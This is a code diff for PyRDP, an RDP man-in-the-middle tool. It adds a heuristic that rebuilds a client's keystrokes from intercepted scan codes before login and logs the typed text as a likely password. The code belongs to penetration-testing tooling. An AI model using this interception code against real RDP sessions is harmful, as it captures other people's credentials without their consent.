diff --git a/pyrdp/mitm/BasePathMITM.py b/pyrdp/mitm/BasePathMITM.py new file mode 100644 index 000000000..55c813981 --- /dev/null +++ b/pyrdp/mitm/BasePathMITM.py @@ -0,0 +1,62 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from pyrdp.mitm.state import RDPMITMState +from pyrdp.player import keyboard +from pyrdp.enum import ScanCode +from pyrdp.pdu.pdu import PDU +from pyrdp.layer.layer import Layer + + +class BasePathMITM: + """ + Base MITM component for the fast-path and slow-path layers. + """ + + def __init__(self, state: RDPMITMState, client: Layer, server: Layer): + self.state = state + self.client = client + self.server = server + + def onClientPDUReceived(self, pdu: PDU): + raise NotImplementedError("onClientPDUReceived must be overridden") + + def onServerPDUReceived(self, pdu: PDU): + raise NotImplementedError("onServerPDUReceived must be overridden") + + def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool): + """ + Handle scan code. + """ + keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn) + scanCodeTuple = (scanCode, isExtended) + + # Left or right shift + if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]: + self.state.shiftPressed = not isReleased + # Caps lock + elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased: + self.state.capsLockOn = not self.state.capsLockOn + # Control + elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]: + self.state.ctrlPressed = not isReleased + # Backspace + elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased: + self.state.inputBuffer += "<\\b>" + # Tab + elif scanCodeTuple == ScanCode.TAB and not isReleased: + self.state.inputBuffer += "<\\t>" + # CTRL + A + elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased: + self.state.inputBuffer += "" + # Return + elif scanCodeTuple == ScanCode.RETURN and not isReleased: + self.state.credentialsCandidate = self.state.inputBuffer + self.state.inputBuffer = "" + # Normal input + elif len(keyName) == 1: + if not isReleased: + self.state.inputBuffer += keyName \ No newline at end of file diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 88c3f2abe..5702c1a4c 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -11,12 +11,13 @@ from typing import Dict, Optional, Union from pyrdp.core import FileProxy, ObservedBy, Observer, Subject -from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ +from pyrdp.enum import CreateOption, DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \ MajorFunction, MinorFunction from pyrdp.layer import DeviceRedirectionLayer from pyrdp.mitm.config import MITMConfig from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder +from pyrdp.mitm.state import RDPMITMState from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \ @@ -53,7 +54,7 @@ class DeviceRedirectionMITM(Subject): FORGED_COMPLETION_ID = 1000000 - def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig): + def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig, state: RDPMITMState): """ :param client: device redirection layer for the client side :param server: device redirection layer for the server side @@ -64,6 +65,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.client = client self.server = server + self.state = state self.log = log self.config = config self.currentIORequests: Dict[int, DeviceIORequestPDU] = {} @@ -128,6 +130,10 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay elif isinstance(pdu, DeviceListAnnounceRequest): self.handleDeviceListAnnounceRequest(pdu) + elif isinstance(pdu, DeviceRedirectionPDU): + if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON: + self.handleClientLogin() + if not dropPDU: destination.sendPDU(pdu) @@ -270,6 +276,22 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp self.saveMapping() + def handleClientLogin(self): + """ + Handle events that should be triggered when a client logs in. + """ + + if self.state.credentialsCandidate or self.state.inputBuffer: + self.log.info("Credentials candidate from heuristic: %(credentials_candidate)s", {"credentials_candidate" : (self.state.credentialsCandidate or self.state.inputBuffer) }) + + # Deactivate the logger for this client + self.state.loggedIn = True + self.state.shiftPressed = False + self.state.capsLockOn = False + self.state.credentialsCandidate = "" + self.state.inputBuffer = "" + + def findNextRequestID(self) -> int: """ Find the next request ID to be returned for a forged request. Request ID's start from a different base than the diff --git a/pyrdp/mitm/FastPathMITM.py b/pyrdp/mitm/FastPathMITM.py index 0cc25917b..bdc30157f 100644 --- a/pyrdp/mitm/FastPathMITM.py +++ b/pyrdp/mitm/FastPathMITM.py @@ -6,10 +6,12 @@ from pyrdp.layer import FastPathLayer from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import FastPathPDU +from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent +from pyrdp.player import keyboard +from pyrdp.enum import ScanCode +from pyrdp.mitm.BasePathMITM import BasePathMITM - -class FastPathMITM: +class FastPathMITM(BasePathMITM): """ MITM component for the fast-path layer. """ @@ -20,10 +22,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMS :param server: fast-path layer for the server side :param state: the MITM state. """ - - self.client = client - self.server = server - self.state = state + super().__init__(state, client, server) self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -37,6 +36,11 @@ def onClientPDUReceived(self, pdu: FastPathPDU): if self.state.forwardInput: self.server.sendPDU(pdu) + if not self.state.loggedIn: + for event in pdu.events: + if isinstance(event, FastPathScanCodeEvent): + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0) + def onServerPDUReceived(self, pdu: FastPathPDU): if self.state.forwardOutput: self.client.sendPDU(pdu) \ No newline at end of file diff --git a/pyrdp/mitm/SlowPathMITM.py b/pyrdp/mitm/SlowPathMITM.py index 50c9b33d4..8dc732ba2 100644 --- a/pyrdp/mitm/SlowPathMITM.py +++ b/pyrdp/mitm/SlowPathMITM.py @@ -4,13 +4,13 @@ # Licensed under the GPLv3 or later. # -from pyrdp.enum import CapabilityType, OrderFlag, VirtualChannelCompressionFlag +from pyrdp.enum import CapabilityType, KeyboardFlag, OrderFlag, VirtualChannelCompressionFlag from pyrdp.layer import SlowPathLayer, SlowPathObserver from pyrdp.mitm.state import RDPMITMState -from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, SlowPathPDU +from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, InputPDU, KeyboardEvent, SlowPathPDU +from pyrdp.mitm.BasePathMITM import BasePathMITM - -class SlowPathMITM: +class SlowPathMITM(BasePathMITM): """ MITM component for the slow-path layer. """ @@ -20,9 +20,7 @@ def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMS :param client: slow-path layer for the client side :param server: slow-path layer for the server side """ - self.client = client - self.server = server - self.state = state + super().__init__(state, client, server) self.clientObserver = self.client.createObserver( onPDUReceived = self.onClientPDUReceived, @@ -40,6 +38,12 @@ def onClientPDUReceived(self, pdu: SlowPathPDU): if self.state.forwardInput: self.server.sendPDU(pdu) + if not self.state.loggedIn: + if isinstance(pdu, InputPDU): + for event in pdu.events: + if isinstance(event, KeyboardEvent): + self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0) + def onServerPDUReceived(self, pdu: SlowPathPDU): SlowPathObserver.onPDUReceived(self.serverObserver, pdu) diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 2e2abff91..3cb9cc755 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -297,7 +297,7 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel) LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer) LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer) - deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) + deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.state) self.channelMITMs[client.channelID] = deviceRedirection if self.attacker: diff --git a/pyrdp/mitm/state.py b/pyrdp/mitm/state.py index 5d98efa2a..eb6258526 100644 --- a/pyrdp/mitm/state.py +++ b/pyrdp/mitm/state.py @@ -51,6 +51,24 @@ def __init__(self): self.forwardOutput = True """Whether output from the server should be forwarded to the client""" + self.loggedIn = False + """Keep tracks of the client login status""" + + self.inputBuffer = "" + """Used to store what the client types""" + + self.credentialsCandidate = "" + """The potential client password""" + + self.shiftPressed = False + """The current keyboard shift state""" + + self.capsLockOn = False + """The current keyboard capsLock state""" + + self.ctrlPressed = False + """The current keybaord ctrl state""" + self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT]) self.securitySettings.addObserver(self.crypters[ParserMode.SERVER]) diff --git a/pyrdp/player/PlayerEventHandler.py b/pyrdp/player/PlayerEventHandler.py index e6abc1047..c82eaf659 100644 --- a/pyrdp/player/PlayerEventHandler.py +++ b/pyrdp/player/PlayerEventHandler.py @@ -185,7 +185,7 @@ def onFastPathInput(self, pdu: PlayerPDU): elif isinstance(event, FastPathMouseEvent): self.onMouse(event) elif isinstance(event, FastPathScanCodeEvent): - self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0) + self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0) def onUnicode(self, event: FastPathUnicodeEvent): diff --git a/pyrdp/player/keyboard.py b/pyrdp/player/keyboard.py index 053d87837..11785c2e0 100644 --- a/pyrdp/player/keyboard.py +++ b/pyrdp/player/keyboard.py @@ -9,6 +9,9 @@ from PySide2.QtCore import Qt from PySide2.QtGui import QKeyEvent +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/089d362b-31eb-4a1a-b6fa-92fe61bb5dbf +KBDFLAGS_EXTENDED = 2 + SCANCODE_MAPPING = { Qt.Key.Key_Escape: 0x01, Qt.Key.Key_1: 0x02,